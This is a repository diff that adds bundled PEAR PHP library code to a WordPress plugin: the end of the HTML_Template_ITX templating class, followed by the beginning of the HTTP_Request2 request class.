+            "The block "."'$block'".
+            " does not exist in the template and thus it can't be replaced.",
+            __FILE__, __LINE__
+            );
+        }
+
+        if ($template == '') {
+            return new net_php_pear_HTML_Template_IT_Error('No block content given.', __FILE__, __LINE__);
+        }
+
+        if ($keep_content) {
+            $blockdata = $this->blockdata[$block];
+        }
+
+        // remove all kinds of links to the block / data of the block
+        $this->removeBlockData($block);
+
+        $template = "<!-- BEGIN $block -->" . $template . "<!-- END $block -->";
+        $parents = $this->blockparents[$block];
+        $this->findBlocks($template);
+        $this->blockparents[$block] = $parents;
+
+        // KLUDGE: rebuild the list for all block - could be done faster
+        $this->buildBlockvariablelist();
+
+        if ($keep_content) {
+            $this->blockdata[$block] = $blockdata;
+        }
+
+        // old TODO - I'm not sure if we need this
+        // update caches
+
+        return true;
+    } // end func replaceBlock
+
+    /**
+    * Replaces an existing block with new content from a file.
+    *
+    * @brother replaceBlock()
+    * @param   string    Blockname
+    * @param   string    Name of the file that contains the blockcontent
+    * @param   boolean   true if the new block inherits the content of the old block
+    * @access  public
+    */
+    function replaceBlockfile($block, $filename, $keep_content = false)
+    {
+        return $this->replaceBlock($block, $this->getFile($filename), $keep_content);
+    } // end func replaceBlockfile
+
+    /**
+    * Adds a block to the template changing a variable placeholder
+    * to a block placeholder.
+    *
+    * Add means "replace a variable placeholder by a new block".
+    * This is different to PHPLibs templates. The function loads a
+    * block, creates a handle for it and assigns it to a certain
+    * variable placeholder. To to the same with PHPLibs templates you would
+    * call set_file() to create the handle and parse() to assign the
+    * parsed block to a variable. By this PHPLibs templates assume
+    * that you tend to assign a block to more than one one placeholder.
+    * To assign a parsed block to more than only the placeholder you specify
+    * in this function you have to use a combination of getBlock()
+    * and setVariable().
+    *
+    * As no updates to cached data is necessary addBlock() and addBlockfile()
+    * are rather "cheap" meaning quick operations.
+    *
+    * The block content must not start with <!-- BEGIN blockname -->
+    * and end with <!-- END blockname --> this would cause overhead and
+    * produce an error.
+    *
+    * @param    string    Name of the variable placeholder, the name must be unique
+    *                     within the template.
+    * @param    string    Name of the block to be added
+    * @param    string    Content of the block
+    * @return   boolean
+    * @throws   IT_Error
+    * @see      addBlockfile()
+    * @access   public
+    */
+    function addBlock($placeholder, $blockname, $template)
+    {
+        // Don't trust any user even if it's a programmer or yourself...
+        if ($placeholder == '') {
+            return new net_php_pear_HTML_Template_IT_Error('No variable placeholder given.',
+                                __FILE__, __LINE__
+                                );
+        } elseif ($blockname == '' ||
+                    !preg_match($this->checkblocknameRegExp, $blockname)
+        ) {
+            return new net_php_pear_HTML_Template_IT_Error("No or invalid blockname '$blockname' given.",
+                    __FILE__, __LINE__
+                    );
+        } elseif ($template == '') {
+            return new net_php_pear_HTML_Template_IT_Error('No block content given.', __FILE__, __LINE__);
+        } elseif (isset($this->blocklist[$blockname])) {
+            return new net_php_pear_HTML_Template_IT_Error('The block already exists.',
+                                __FILE__, __LINE__
+                            );
+        }
+
+        // find out where to insert the new block
+        $parents = $this->findPlaceholderBlocks($placeholder);
+        if (count($parents) == 0) {
+
+            return new net_php_pear_HTML_Template_IT_Error(
+                "The variable placeholder".
+                " '$placeholder' was not found in the template.",
+                __FILE__, __LINE__
+            );
+
+        } elseif (count($parents) > 1) {
+
+            reset($parents);
+            while (list($k, $parent) = each($parents)) {
+                $msg .= "$parent, ";
+            }
+            $msg = substr($parent, -2);
+
+            return new net_php_pear_HTML_Template_IT_Error("The variable placeholder "."'$placeholder'".
+                                " must be unique, found in multiple blocks '$msg'.",
+                                __FILE__, __LINE__
+                                );
+        }
+
+        $template = "<!-- BEGIN $blockname -->" . $template . "<!-- END $blockname -->";
+        $this->findBlocks($template);
+        if ($this->flagBlocktrouble) {
+            return false;    // findBlocks() already throws an exception
+        }
+        $this->blockinner[$parents[0]][] = $blockname;
+        $this->blocklist[$parents[0]] = preg_replace(
+                    '@' . $this->openingDelimiter . $placeholder .
+                    $this->closingDelimiter . '@',
+
+                    $this->openingDelimiter . '__' . $blockname . '__' .
+                    $this->closingDelimiter,
+
+                    $this->blocklist[$parents[0]]
+                );
+
+        $this->deleteFromBlockvariablelist($parents[0], $placeholder);
+        $this->updateBlockvariablelist($blockname);
+
+        return true;
+    } // end func addBlock
+
+    /**
+    * Adds a block taken from a file to the template changing a variable
+    * placeholder to a block placeholder.
+    *
+    * @param      string    Name of the variable placeholder to be converted
+    * @param      string    Name of the block to be added
+    * @param      string    File that contains the block
+    * @brother    addBlock()
+    * @access     public
+    */
+    function addBlockfile($placeholder, $blockname, $filename)
+    {
+        return $this->addBlock($placeholder, $blockname, $this->getFile($filename));
+    } // end func addBlockfile
+
+    /**
+    * Returns the name of the (first) block that contains
+    * the specified placeholder.
+    *
+    * @param    string  Name of the placeholder you're searching
+    * @param    string  Name of the block to scan. If left out (default)
+    *                   all blocks are scanned.
+    * @return   string  Name of the (first) block that contains
+    *                   the specified placeholder.
+    *                   If the placeholder was not found or an error occured
+    *                   an empty string is returned.
+    * @throws   IT_Error
+    * @access   public
+    */
+    function placeholderExists($placeholder, $block = '')
+    {
+        if ($placeholder == '') {
+            new net_php_pear_HTML_Template_IT_Error('No placeholder name given.', __FILE__, __LINE__);
+            return '';
+        }
+
+        if ($block != '' && !isset($this->blocklist[$block])) {
+            new net_php_pear_HTML_Template_IT_Error("Unknown block '$block'.", __FILE__, __LINE__);
+            return '';
+        }
+
+        // name of the block where the given placeholder was found
+        $found = '';
+
+        if ($block != '') {
+            if (is_array($variables = $this->blockvariables[$block])) {
+                // search the value in the list of blockvariables
+                reset($variables);
+                while (list($k, $variable) = each($variables)) {
+                    if ($k == $placeholder) {
+                        $found = $block;
+                        break;
+                    }
+                }
+            }
+        } else {
+
+            // search all blocks and return the name of the first block that
+            // contains the placeholder
+            reset($this->blockvariables);
+            while (list($blockname, $variables) = each($this->blockvariables)){
+                if (is_array($variables) && isset($variables[$placeholder])) {
+                    $found = $blockname;
+                    break;
+                }
+            }
+        }
+
+        return $found;
+    } // end func placeholderExists
+
+    /**
+    * Checks the list of function calls in the template and
+    * calls their callback function.
+    *
+    * @access    public
+    */
+    function performCallback()
+    {
+        reset($this->functions);
+        while (list($func_id, $function) = each($this->functions)) {
+            if (isset($this->callback[$function['name']])) {
+                if ($this->callback[$function['name']]['expandParameters']) { 
+                    $callFunction = 'call_user_func_array';
+                } else {
+                    $callFunction = 'call_user_func';
+                }
+
+                if ($this->callback[$function['name']]['object'] != '') {
+                     $call = 
+                       $callFunction(
+                        array(
+                        &$GLOBALS[$this->callback[$function['name']]['object']],
+                        $this->callback[$function['name']]['function']),
+                        $function['args']
+                       );
+                
+                } else {
+                     $call = 
+                       $callFunction(
+                        $this->callback[$function['name']]['function'],
+                        $function['args']
+                     );
+                }
+                $this->variableCache['__function' . $func_id . '__'] = $call;
+            }
+        }
+            
+    } // end func performCallback
+
+    /**
+    * Returns a list of all function calls in the current template.
+    *
+    * @return   array
+    * @access   public
+    */
+    function getFunctioncalls()
+    {
+        return $this->functions;
+    } // end func getFunctioncalls
+
+    /**
+    * Replaces a function call with the given replacement.
+    *
+    * @param    int       Function ID
+    * @param    string    Replacement
+    * @deprecated
+    */
+    function setFunctioncontent($functionID, $replacement)
+    {
+        $this->variableCache['__function' . $functionID . '__'] = $replacement;
+    } // end func setFunctioncontent
+
+    /**
+    * Sets a callback function.
+    *
+    * IT[X] templates (note the X) can contain simple function calls.
+    * "function call" means that the editor of the template can add
+    * special placeholder to the template like 'func_h1("embedded in h1")'.
+    * IT[X] will grab this function calls and allow you to define a callback
+    * function for them.
+    *
+    * This is an absolutely evil feature. If your application makes heavy
+    * use of such callbacks and you're even implementing if-then etc. on
+    * the level of a template engine you're reiventing the wheel... - that's
+    * actually how PHP came into life. Anyway, sometimes it's handy.
+    *
+    * Consider also using XML/XSLT or native PHP. And please do not push
+    * IT[X] any further into this direction of adding logics to the template
+    * engine.
+    *
+    * For those of you ready for the X in IT[X]:
+    *
+    * <?php
+    * ...
+    * function h_one($args) {
+    *    return sprintf('<h1>%s</h1>', $args[0]);
+    * }
+    *
+    * ...
+    * $itx = new HTML_Template_ITX( ... );
+    * ...
+    * $itx->setCallbackFunction('h1', 'h_one');
+    * $itx->performCallback();
+    * ?>
+    *
+    * template:
+    * func_h1('H1 Headline');
+    *
+    * @param      string    Function name in the template
+    * @param      string    Name of the callback function
+    * @param      string    Name of the callback object
+    * @param      boolean   If the callback is called with a list of parameters or
+    *                     with an array holding the parameters
+    * @return     boolean   False on failure.
+    * @throws     IT_Error
+    * @access     public
+    * @deprecated The $callbackobject parameter is depricated since 
+    *             version 1.2 and might be dropped in further versions.
+    */
+    function
+    setCallbackFunction($tplfunction, $callbackfunction, $callbackobject = '', $expandCallbackParameters=false)
+    {
+        if ($tplfunction == '' || $callbackfunction == '') {
+            return new net_php_pear_HTML_Template_IT_Error(
+                "No template function "."('$tplfunction')".
+                " and/or no callback function ('$callback') given.",
+                    __FILE__, __LINE__
+                );
+        }
+        $this->callback[$tplfunction] = array(
+                                          'function' => $callbackfunction,
+                                          'object'   => $callbackobject,
+                                          'expandParameters' => (boolean) $expandCallbackParameters
+                                        );
+
+        return true;
+    } // end func setCallbackFunction
+
+    /**
+    * Sets the Callback function lookup table
+    *
+    * @param    array    function table
+    *                    array[templatefunction] =
+    *                       array(
+    *                               "function" => userfunction,
+    *                               "object" => userobject
+    *                       )
+    * @access    public
+    */
+    function setCallbackFuntiontable($functions)
+    {
+        $this->callback = $functions;
+    } // end func setCallbackFunctiontable
+
+    /**
+    * Recursively removes all data assiciated with a block, including all inner blocks
+    *
+    * @param    string  block to be removed
+    * @access   private
+    */
+    function removeBlockData($block)
+    {
+        if (isset($this->blockinner[$block])) {
+            foreach ($this->blockinner[$block] as $k => $inner) {
+                $this->removeBlockData($inner);
+            }
+
+            unset($this->blockinner[$block]);
+        }
+
+        unset($this->blocklist[$block]);
+        unset($this->blockdata[$block]);
+        unset($this->blockvariables[$block]);
+        unset($this->touchedBlocks[$block]);
+
+    } // end func removeBlockinner
+
+    /**
+    * Returns a list of blocknames in the template.
+    *
+    * @return    array    [blockname => blockname]
+    * @access    public
+    * @see       blockExists()
+    */
+    function getBlocklist()
+    {
+        $blocklist = array();
+        foreach ($this->blocklist as $block => $content) {
+            $blocklist[$block] = $block;
+        }
+
+        return $blocklist;
+    } // end func getBlocklist
+
+    /**
+    * Checks wheter a block exists.
+    *
+    * @param    string
+    * @return   boolean
+    * @access   public
+    * @see      getBlocklist()
+    */
+    function blockExists($blockname)
+    {
+        return isset($this->blocklist[$blockname]);
+    } // end func blockExists
+
+    /**
+    * Returns a list of variables of a block.
+    *
+    * @param    string   Blockname
+    * @return   array    [varname => varname]
+    * @access   public
+    * @see      BlockvariableExists()
+    */
+    function getBlockvariables($block)
+    {
+        if (!isset($this->blockvariables[$block])) {
+            return array();
+        }
+
+        $variables = array();
+        foreach ($this->blockvariables[$block] as $variable => $v) {
+            $variables[$variable] = $variable;
+        }
+
+        return $variables;
+    } // end func getBlockvariables
+
+    /**
+    * Checks wheter a block variable exists.
+    *
+    * @param    string    Blockname
+    * @param    string    Variablename
+    * @return   boolean
+    * @access   public
+    * @see      getBlockvariables()
+    */
+    function BlockvariableExists($block, $variable)
+    {
+        return isset($this->blockvariables[$block][$variable]);
+    } // end func BlockvariableExists
+
+    /**
+    * Builds a functionlist from the template.
+    * @access private
+    */
+    function buildFunctionlist()
+    {
+        $this->functions = array();
+
+        $template = $this->template;
+        $num = 0;
+
+        while (preg_match($this->functionRegExp, $template, $regs)) {
+
+            $pos = strpos($template, $regs[0]);
+            $template = substr($template, $pos + strlen($regs[0]));
+
+            $head = $this->getValue($template, ')');
+            $args = array();
+
+            $search = $regs[0] . $head . ')';
+
+            $replace = $this->openingDelimiter .
+                       '__function' . $num . '__' .
+                       $this->closingDelimiter;
+
+            $this->template = str_replace($search, $replace, $this->template);
+            $template       = str_replace($search, $replace, $template);
+
+            while ($head != '' && $args2 = $this->getValue($head, ',')) {
+                $arg2 = trim($args2);
+                $args[] = ('"' == $arg2{0} || "'" == $arg2{0}) ?
+                                    substr($arg2, 1, -1) : $arg2;
+                if ($arg2 == $head) {
+                    break;
+                }
+                $head = substr($head, strlen($arg2) + 1);
+            }
+
+            $this->functions[$num++] = array(
+                                                'name'    => $regs[1],
+                                                'args'    => $args
+                                            );
+        }
+
+    } // end func buildFunctionlist
+
+    /**
+     * Truncates the given code from the first occurence of
+     * $delimiter but ignores $delimiter enclosed by " or '.
+     * 
+     * @access private
+     * @param  string   The code which should be parsed
+     * @param  string   The delimiter char
+     * @return string
+     * @see    buildFunctionList()
+     */
+    function getValue($code, $delimiter) {
+        if ($code == '') {
+            return '';
+        }
+
+        if (!is_array($delimiter)) {
+            $delimiter = array( $delimiter => true );
+        }
+
+        $len         = strlen($code);
+        $enclosed    = false;
+        $enclosed_by = '';
+
+        if (isset($delimiter[$code[0]])) {
+            $i = 1;
+        } else {
+            for ($i = 0; $i < $len; ++$i) {
+                $char = $code[$i];
+
+                if (
+                        ($char == '"' || $char == "'") &&
+                        ($char == $enclosed_by || '' == $enclosed_by) &&
+                        (0 == $i || ($i > 0 && '\\' != $code[$i - 1]))
+                    ) {
+
+                    if (!$enclosed) {
+                        $enclosed_by = $char;
+                    } else {
+                        $enclosed_by = "";
+                    }
+                    $enclosed = !$enclosed;
+
+                }
+
+                if (!$enclosed && isset($delimiter[$char])) {
+                    break;
+                }
+            }
+        }
+
+        return substr($code, 0, $i);
+    } // end func getValue
+
+    /**
+    * Deletes one or many variables from the block variable list.
+    *
+    * @param    string    Blockname
+    * @param    mixed     Name of one variable or array of variables
+    *                     ( array ( name => true ) ) to be stripped.
+    * @access   private
+    */
+    function deleteFromBlockvariablelist($block, $variables)
+    {
+        if (!is_array($variables)) {
+            $variables = array($variables => true);
+        }
+
+        reset($this->blockvariables[$block]);
+        while (list($varname, $val) = each($this->blockvariables[$block])) {
+            if (isset($variables[$varname])) {
+                unset($this->blockvariables[$block][$varname]);
+            }
+        }
+    } // end deleteFromBlockvariablelist
+
+    /**
+    * Updates the variable list of a block.
+    *
+    * @param    string    Blockname
+    * @access   private
+    */
+    function updateBlockvariablelist($block)
+    {
+        preg_match_all( $this->variablesRegExp,
+                        $this->blocklist[$block], $regs
+                    );
+
+        if (count($regs[1]) != 0) {
+            foreach ($regs[1] as $k => $var) {
+                $this->blockvariables[$block][$var] = true;
+            }
+        } else {
+            $this->blockvariables[$block] = array();
+        }
+
+        // check if any inner blocks were found
+        if (isset($this->blockinner[$block]) &&
+            is_array($this->blockinner[$block]) &&
+            count($this->blockinner[$block]) > 0
+        ) {
+            /*
+             * loop through inner blocks, registering the variable
+             * placeholders in each
+             */
+            foreach ($this->blockinner[$block] as $childBlock) {
+                $this->updateBlockvariablelist($childBlock);
+            }
+        }
+    } // end func updateBlockvariablelist
+
+    /**
+    * Returns an array of blocknames where the given variable
+    * placeholder is used.
+    *
+    * @param    string    Variable placeholder
+    * @return   array     $parents parents[0..n] = blockname
+    * @access   public
+    */
+    function findPlaceholderBlocks($variable)
+    {
+        $parents = array();
+        reset($this->blocklist);
+        while (list($blockname, $content) = each($this->blocklist)) {
+            reset($this->blockvariables[$blockname]);
+            while (
+                list($varname, $val) = each($this->blockvariables[$blockname]))
+            {
+                if ($variable == $varname) {
+                    $parents[] = $blockname;
+                }
+            }
+        }
+
+        return $parents;
+    } // end func findPlaceholderBlocks
+
+    /**
+    * Handles warnings, saves them to $warn and prints them or
+    * calls die() depending on the flags
+    *
+    * @param    string    Warning
+    * @param    string    File where the warning occured
+    * @param    int       Linenumber where the warning occured
+    * @see      $warn, $printWarning, $haltOnWarning
+    * @access   private
+    */
+    function warning($message, $file = '', $line = 0)
+    {
+        $message = sprintf(
+                    'HTML_Template_ITX Warning: %s [File: %s, Line: %d]',
+                    $message,
+                    $file,
+                    $line
+                );
+
+        $this->warn[] = $message;
+
+        if ($this->printWarning) {
+            print $message;
+        }
+
+        if ($this->haltOnWarning) {
+            die($message);
+        }
+    } // end func warning
+
+} // end class HTML_Template_ITX
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/HTTP/Request2.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/HTTP/Request2.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/HTTP/Request2.class.php	(revision 44)
@@ -0,0 +1,746 @@
+<?php
+/**
+ * Class representing a HTTP request
+ *
+ * PHP version 5
+ *
+ * LICENSE:
+ *
+ * Copyright (c) 2008, Alexey Borzov <avb@php.net>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ *    * Redistributions of source code must retain the above copyright
+ *      notice, this list of conditions and the following disclaimer.
+ *    * Redistributions in binary form must reproduce the above copyright
+ *      notice, this list of conditions and the following disclaimer in the
+ *      documentation and/or other materials provided with the distribution.
+ *    * The names of the authors may not be used to endorse or promote products
+ *      derived from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
+ * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
+ * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @category   HTTP
+ * @package    HTTP_Request2
+ * @author     Alexey Borzov <avb@php.net>
+ * @license    http://opensource.org/licenses/bsd-license.php New BSD License
+ * @version    CVS: $Id: Request2.php,v 1.5 2008/11/17 12:30:12 avb Exp $
+ * @link       http://pear.php.net/package/HTTP_Request2
+ */
+
+
+/**
+ * Class representing a HTTP request
+ *
+ * @category   HTTP
+ * @package    HTTP_Request2
+ * @author     Alexey Borzov <avb@php.net>
+ * @version    Release: 0.1.0
+ * @link       http://tools.ietf.org/html/rfc2616#section-5
+ */
+class net_php_pear_HTTP_Request2
+{
+   /**#@+
+    * Constants for HTTP request methods
+    *
+    * @link http://tools.ietf.org/html/rfc2616#section-5.1.1
+    */
+    const METHOD_OPTIONS = 'OPTIONS';
+    const METHOD_GET     = 'GET';
+    const METHOD_HEAD    = 'HEAD';
+    const METHOD_POST    = 'POST';
+    const METHOD_PUT     = 'PUT';
+    const METHOD_DELETE  = 'DELETE';
+    const METHOD_TRACE   = 'TRACE';
+    const METHOD_CONNECT = 'CONNECT';
+   /**#@-*/
+
+   /**#@+
+    * Constants for HTTP authentication schemes 
+    *
+    * @link http://tools.ietf.org/html/rfc2617
+    */
+    const AUTH_BASIC  = 'basic';
+    const AUTH_DIGEST = 'digest';
+   /**#@-*/
+
+   /**
+    * Fileinfo magic database resource
+    * @var  resource
+    * @see  detectMimeType()
+    */
+    private static $_fileinfoDb;
+
+   /**
+    * Observers attached to the request (instances of SplObserver)
+    * @var  array
+    */
+    protected $observers = array();
+
+   /**
+    * Request URL
+    * @var  net_php_pear_Net_URL2
+    */
+    protected $url;
+
+   /**
+    * Request method
+    * @var  string
+    */
+    protected $method = self::METHOD_GET;
+
+   /**
+    * Authentication data
+    * @var  array
+    * @see  getAuth()
+    */
+    protected $auth;
+
+   /**
+    * Request headers
+    * @var  array
+    */
+    protected $headers = array();
+
+   /**
+    * Configuration parameters
+    * @var  array
+    * @see  setConfig()
+    */
+    protected $config = array(
+        'adapter'           => 'net_php_pear_HTTP_Request2_Adapter_Socket',
+        'connect_timeout'   => 10,
+        'use_brackets'      => true,
+        'protocol_version'  => '1.1',
+        'buffer_size'       => 16384,
+        'proxy_host'        => '',
+        'proxy_port'        => '',
+        'proxy_user'        => '',
+        'proxy_password'    => '',
+        'proxy_auth_scheme' => self::AUTH_BASIC
+    );
+
+   /**
+    * Last event in request / response handling, intended for observers
+    * @var  array
+    * @see  getLastEvent()
+    */
+    protected $lastEvent = array(
+        'name' => 'start',
+        'data' => null
+    );
+
+   /**
+    * Request body
+    * @var  string|resource
+    * @see  setBody()
+    */
+    protected $body = '';
+
+   /**
+    * Array of POST parameters
+    * @var  array
+    */
+    protected $postParams = array();
+
+   /**
+    * Array of file uploads (for multipart/form-data POST requests) 
+    * @var  array
+    */
+    protected $uploads = array();
+
+   /**
+    * Adapter used to perform actual HTTP request
+    * @var  HTTP_Request2_Adapter
+    */
+    protected $adapter;
+
+
+   /**
+    * Constructor. Can set request URL, method and configuration array.
+    *
+    * Also sets a default value for User-Agent header. 
+    *
+    * @param    string|Net_Url2     Request URL
+    * @param    string              Request method
+    * @param    array               Configuration for this Request instance
+    */
+    public function __construct($url = null, $method = self::METHOD_GET, $config = array())
+    {
+        if (!empty($url)) {
+            $this->setUrl($url);
+        }
+        if (!empty($method)) {
+            $this->setMethod($method);
+        }
+        $this->setConfig($config);
+        $this->setHeader('user-agent', 'HTTP_Request2/0.1.0 ' .
+                         '(http://pear.php.net/package/http_request2) ' .
+                         'PHP/' . phpversion());
+    }
+
+   /**
+    * Sets the URL for this request
+    *
+    * If the URL has userinfo part (username & password) these will be removed
+    * and converted to auth data. If the URL does not have a path component,
+    * that will be set to '/'.
+    *
+    * @param    string|net_php_pear_Net_URL2 Request URL
+    * @return   HTTP_Request2
+    * @throws   HTTP_Request2_Exception
+    */
+    public function setUrl($url)
+    {
+        if (is_string($url)) {
+            $url = new net_php_pear_Net_URL2($url);
+        }
+        if (!$url instanceof net_php_pear_Net_URL2) {
+            throw new net_php_pear_HTTP_Request2_Exception('Parameter is not a valid HTTP URL');
+        }
+        // URL contains username / password?
+        if ($url->getUserinfo()) {
+            $username = $url->getUser();
+            $password = $url->getPassword();
+            $this->setAuth(rawurldecode($username), $password? rawurldecode($password): '');
+            $url->setUserinfo('');
+        }
+        if ('' == $url->getPath()) {
+            $url->setPath('/');
+        }
+        $this->url = $url;
+
+        return $this;
+    }
+
+   /**
+    * Returns the request URL
+    *
+    * @return   net_php_pear_Net_URL2
+    */
+    public function getUrl()
+    {
+        return $this->url;
+    }
+
+   /**
+    * Sets the request method
+    *
+    * @param    string
+    * @return   HTTP_Request2
+    * @throws   HTTP_Request2_Exception if the method name is invalid
+    */
+    public function setMethod($method)
+    {
+        // Method name should be a token: http://tools.ietf.org/html/rfc2616#section-5.1.1
+        if (preg_match('![\x00-\x1f\x7f-\xff()<>@,;:\\\\"/\[\]?={}\s]!', $method)) {
+            throw new net_php_pear_HTTP_Request2_Exception("Invalid request method '{$method}'");
+        }
+        $this->method = $method;
+
+        return $this;
+    }
+
+   /**
+    * Returns the request method
+    *
+    * @return   string
+    */
+    public function getMethod()
+    {
+        return $this->method;
+    }
+
+   /**
+    * Sets the configuration parameters
+    *
+    * $config array can have the following keys:
+    * <ul>
+    *   <li> 'adapter'           - adapter to use (string)</li>
+    *   <li> 'connect_timeout'   - Connection timeout in seconds (float)</li>
+    *   <li> 'use_brackets'      - Whether to append [] to array variable names (bool)</li>
+    *   <li> 'protocol_version'  - HTTP Version to use, '1.0' or '1.1' (string)</li>
+    *   <li> 'buffer_size'       - Buffer size to use for reading and writing (int)</li>
+    *   <li> 'proxy_host'        - Proxy server host (string)</li>
+    *   <li> 'proxy_port'        - Proxy server port (integer)</li>
+    *   <li> 'proxy_user'        - Proxy auth username (string)</li>
+    *   <li> 'proxy_password'    - Proxy auth password (string)</li>
+    *   <li> 'proxy_auth_scheme' - Proxy auth scheme, one of HTTP_Request2::AUTH_* constants (string)</li>
+    * </ul>
+    *
+    * @param    array   array of the form ('param name' => 'param value')
+    * @return   HTTP_Request2
+    * @throws   HTTP_Request2_Exception If the parameter is unknown
+    */
+    public function setConfig($config = array())
+    {
+        foreach ($config as $k => $v) {
+            if (!array_key_exists($k, $this->config)) {
+                throw new net_php_pear_HTTP_Request2_Exception("Unknown configuration parameter '{$k}'");
+            }
+            $this->config[$k] = $v;
+        }
+
+        return $this;
+    }
+
+   /**
+    * Returns the value of the configuration parameter
+    *
+    * @return   mixed
+    * @throws   HTTP_Request2_Exception If the parameter is unknown
+    */
+    public function getConfigValue($name)
+    {
+        if (!array_key_exists($name, $this->config)) {
+            throw new net_php_pear_HTTP_Request2_Exception("Unknown configuration parameter '{$name}'");
+        }
+        return $this->config[$name];
+    }
+
+   /**
+    * Sets the autentification data
+    *
+    * @param    string  user name
+    * @param    string  password
+    * @param    string  authentication scheme
+    * @return   HTTP_Request2
+    */ 
+    public function setAuth($user, $password = '', $scheme = self::AUTH_BASIC)
+    {
+        if (empty($user)) {
+            $this->auth = null;
+        } else {
+            $this->auth = array(
+                'user'     => (string)$user,
+                'password' => (string)$password,
+                'scheme'   => $scheme
+            );
+        }
+
+        return $this;
+    }
+
+   /**
+    * Returns the authentication data
+    *
+    * The array has the keys 'user', 'password' and 'scheme', where 'scheme'
+    * is one of the HTTP_Request2::AUTH_* constants.
+    *
+    * @return   array
+    */
+    public function getAuth()
+    {
+        return $this->auth;
+    }
+
+   /**
+    * Sets request header(s)
+    *
+    * The first parameter may be either a full header string 'header: value' or
+    * header name. In the former case $value parameter is ignored, in the latter 
+    * the header's value will either be set to $value or the header will be
+    * removed if $value is null. The first parameter can also be an array of
+    * headers, in that case method will be called recursively.
+    *
+    * Note that headers are treated case insensitively as per RFC 2616.
+    * 
+    * <code>
+    * $req->setHeader('Foo: Bar'); // sets the value of 'Foo' header to 'Bar'
+    * $req->setHeader('FoO', 'Baz'); // sets the value of 'Foo' header to 'Baz'
+    * $req->setHeader(array('foo' => 'Quux')); // sets the value of 'Foo' header to 'Quux'
+    * $req->setHeader('FOO'); // removes 'Foo' header from request
+    * </code>
+    *
+    * @param    string|array    header name, header string ('Header: value')
+    *                           or an array of headers
+    * @param    string|null     header value, header will be removed if null
+    * @return   HTTP_Request2
+    * @throws   net_php_pear_HTTP_Request2_Exception
+    */
+    public function setHeader($name, $value = null)
+    {
+        if (is_array($name)) {
+            foreach ($name as $k => $v) {
+                if (is_string($k)) {
+                    $this->setHeader($k, $v);
+                } else {
+                    $this->setHeader($v);
+                }
+            }
+        } else {
+            if (!$value && strpos($name, ':')) {
+                list($name, $value) = array_map('trim', explode(':', $name, 2));
+            }
+            // Header name should be a token: http://tools.ietf.org/html/rfc2616#section-4.2
+            if (preg_match('![\x00-\x1f\x7f-\xff()<>@,;:\\\\"/\[\]?={}\s]!', $name)) {
+                throw new net_php_pear_HTTP_Request2_Exception("Invalid header name '{$name}'");
+            }
+            // Header names are case insensitive anyway
+            $name = strtolower($name);
+            if (!$value) {
+                unset($this->headers[$name]);
+            } else {
+                $this->headers[$name] = $value;
+            }
+        }
+        
+        return $this;
+    }
+
+   /**
+    * Returns the request headers
+    *
+    * The array is of the form ('header name' => 'header value'), header names
+    * are lowercased
+    *
+    * @return   array
+    */
+    public function getHeaders()
+    {
+        return $this->headers;
+    }
+
+   /**
+    * Appends a cookie to "Cookie:" header
+    *
+    * @param    string  cookie name
+    * @param    string  cookie value
+    * @return   HTTP_Request2
+    * @throws   net_php_pear_HTTP_Request2_Exception
+    */
+    public function addCookie($name, $value)
+    {
+        $cookie = $name . '=' . $value;
+        // Disallowed characters: http://cgi.netscape.com/newsref/std/cookie_spec.html
+        if (preg_match('/[\s,;]/', $cookie)) {
+            throw new net_php_pear_HTTP_Request2_Exception("Invalid cookie: '{$cookie}'");
+        }
+        $cookies = empty($this->headers['cookie'])? '': $this->headers['cookie'] . '; ';
+        $this->setHeader('cookie', $cookies . $cookie);
+
+        return $this;
+    }
+
+   /**
+    * Sets the request body
+    *
+    * @param    string  Either a string with the body or filename containing body
+    * @param    bool    Whether first parameter is a filename
+    * @return   HTTP_Request2
+    * @throws   net_php_pear_HTTP_Request2_Exception
+    */
+    public function setBody($body, $isFilename = false)
+    {
+        if (!$isFilename) {
+            $this->body = (string)$body;
+        } else {
+            if (!($fp = @fopen($body, 'rb'))) {
+                throw new net_php_pear_HTTP_Request2_Exception("Cannot open file {$body}");
+            }
+            $this->body = $fp;
+            if (empty($this->headers['content-type'])) {
+                $this->setHeader('content-type', self::detectMimeType($body));
+            }
+        }
+
+        return $this;
+    }
+
+   /**
+    * Returns the request body
+    *
+    * @return   string|resource|net_php_pear_HTTP_Request2_MultipartBody
+    */
+    public function getBody()
+    {
+        if (self::METHOD_POST == $this->method && 
+            (!empty($this->postParams) || !empty($this->uploads))
+        ) {
+            if ('application/x-www-form-urlencoded' == $this->headers['content-type']) {
+                $body = http_build_query($this->postParams, '', '&');
+                if (!$this->getConfigValue('use_brackets')) {
+                    $body = preg_replace('/%5B\d+%5D=/', '=', $body);
+                }
+                return $body;
+
+            } elseif ('multipart/form-data' == $this->headers['content-type']) {
+                require_once 'HTTP/Request2/MultipartBody.php';
+                return new net_php_pear_HTTP_Request2_MultipartBody(
+                    $this->postParams, $this->uploads, $this->getConfigValue('use_brackets')
+                );
+            }
+        }
+        return $this->body;
+    }
+
+   /**
+    * Adds a file to form-based file upload
+    *
+    * Used to emulate file upload via a HTML form. The method also sets
